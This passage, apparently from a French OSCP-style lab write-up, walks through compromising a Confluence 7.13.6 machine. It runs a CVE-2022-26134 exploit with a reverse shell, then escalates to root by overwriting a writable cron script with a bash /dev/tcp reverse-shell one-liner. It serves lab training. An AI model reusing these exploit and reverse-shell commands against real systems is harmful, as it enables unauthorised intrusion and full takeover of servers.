HTTP Status 400 |_ Request

Type Exception Report

Message Invalid character found in the HTTP protocol [RTSP/1.00x0d0x0a0x0d0x0a...]

Description The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid 8091/tcp open jamlink? | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 204 No Content | Server: Aleph/0.4.6 | Date: Tue, 27 Aug 2024 21:31:17 GMT | Connection: Close | GetRequest: | HTTP/1.1 204 No Content | Server: Aleph/0.4.6 | Date: Tue, 27 Aug 2024 21:30:46 GMT | Connection: Close | HTTPOptions: | HTTP/1.1 200 OK | Access-Control-Allow-Origin: * | Access-Control-Max-Age: 31536000 | Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST | Server: Aleph/0.4.6 | Date: Tue, 27 Aug 2024 21:30:46 GMT | Connection: Close | content-length: 0 | Help, Kerberos, LDAPSearchReq, LPDString, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | HTTP/1.1 414 Request-URI Too Long | text is empty (possibly HTTP/0.9) | RTSPRequest: | HTTP/1.1 200 OK | Access-Control-Allow-Origin: * | Access-Control-Max-Age: 31536000 | Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST | Server: Aleph/0.4.6 | Date: Tue, 27 Aug 2024 21:30:46 GMT | Connection: Keep-Alive | content-length: 0 | SIPOptions: | HTTP/1.1 200 OK | Access-Control-Allow-Origin: * | Access-Control-Max-Age: 31536000 | Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST | Server: Aleph/0.4.6 | Date: Tue, 27 Aug 2024 21:31:22 GMT | Connection: Keep-Alive |_ content-length: 0 ``` ### HTTP (8090) Confluence 7.13.6 {% embed url="" %} ## Accès initial ``` ┌──(kali㉿kali)-[~/oscp/flu] └─$ python3 script.py --rhost 192.168.208.41 --rport 8090 --lhost 192.168.45.224 --protocol http:// --reverse-shell _____ _ _ /__ \ |__ _ __ ___ _ _ __ _| |__ / /\/ '_ \| '__/ _ \| | | |/ _` | '_ \ / / | | | | | | (_) | |_| | (_| | | | | \/ |_| |_|_| \___/ \__,_|\__, |_| |_| |___/ _____ _ __ __ _ /__ \ |__ ___ / / /\ \ (_)_ __ ___ / /\/ '_ \ / _ \ \ \/ \/ / | '__/ _ \ / / | | | | __/ \ /\ /| | | | __/ \/ |_| |_|\___| \/ \/ |_|_| \___| jbaines-r7 CVE-2022-26134 "Spit my soul through the wire" 🦞 [+] Forking a netcat listener [+] Using /usr/bin/nc [+] Generating a reverse shell payload [+] Sending expoit at http://192.168.208.41:8090/ listening on [any] 1270 ... connect to [192.168.45.224] from (UNKNOWN) [192.168.208.41] 52560 bash: cannot set terminal process group (733): Inappropriate ioctl for device bash: no job control in this shell confluence@flu:/opt/atlassian/confluence/bin$ ``` ## Elévation des privilèges Après une première recherche et une première exécution de linpeas.sh on ne trouve rien d'intéressant. Cependant, un fichier étrange se trouve dans /opt... un fichier qui pourrait parfaitement s'exécuter automatiquement (et on a les droits en écriture). Nous allons vérifier avec pspy64. ``` {...} 2024/08/27 22:12:01 CMD: UID=0 PID=25442 | /bin/sh -c gzip 2024/08/27 22:12:01 CMD: UID=0 PID=25443 | find /root/backup -name log_backup_* -mmin +5 -exec rm -rf {} ; 2024/08/27 22:12:01 CMD: UID=0 PID=25444 | find /root/backup -name log_backup_* -mmin +5 -exec rm -rf {} ; 2024/08/27 22:12:01 CMD: UID=0 PID=25445 | find /root/backup -name log_backup_* -mmin +5 -exec rm -rf {} ; 2024/08/27 22:13:01 CMD: UID=1001 PID=25446 | bash -c bash -i >& /dev/tcp/192.168.45.224/1270 0>&1 2024/08/27 22:13:01 CMD: UID=1001 PID=25448 | 2024/08/27 22:13:01 CMD: UID=1001 PID=25449 | bash -i 2024/08/27 22:13:01 CMD: UID=0 PID=25450 | /usr/sbin/CRON -f -P 2024/08/27 22:13:01 CMD: UID=0 PID=25451 | /usr/sbin/CRON -f -P 2024/08/27 22:13:01 CMD: UID=0 PID=25452 | 2024/08/27 22:13:01 CMD: UID=0 PID=25453 | /bin/bash /opt/log-backup.sh 2024/08/27 22:13:01 CMD: UID=0 PID=25454 | /bin/bash /opt/log-backup.sh 2024/08/27 22:13:01 CMD: UID=0 PID=25456 | tar -czf /root/backup/log_backup_20240827221301.tar.gz /root/backup/log_b ackup_20240827221301 2024/08/27 22:13:01 CMD: UID=0 PID=25455 | tar -czf /root/backup/log_backup_20240827221301.tar.gz /root/backup/log_b ackup_20240827221301 2024/08/27 22:13:01 CMD: UID=0 PID=25457 | /bin/sh -c gzip 2024/08/27 22:13:01 CMD: UID=0 PID=25458 | /bin/bash /opt/log-backup.sh 2024/08/27 22:13:01 CMD: UID=0 PID=25459 | rm -rf /root/backup/log_backup_20240827220801.tar.gz 2024/08/27 22:13:01 CMD: UID=0 PID=25460 | 2024/08/27 22:13:06 CMD: UID=1001 PID=25461 | ls {...} ``` `/bin/bash /opt/log-backup.sh` ``` confluence@flu:/opt$ echo '#!/bin/bash' > log-backup.sh confluence@flu:/opt$ echo '/bin/bash -i >& /dev/tcp/192.168.45.224/1234 0>&1' >> log-backup.sh ``` ``` ┌──(kali㉿kali)-[~/oscp/flu] └─$ nc -lnvp 1234 listening on [any] 1234 ... connect to [192.168.45.224] from (UNKNOWN) [192.168.208.41] 52144 bash: cannot set terminal process group (25516): Inappropriate ioctl for device bash: no job control in this shell root@flu:~# whoami whoami root ```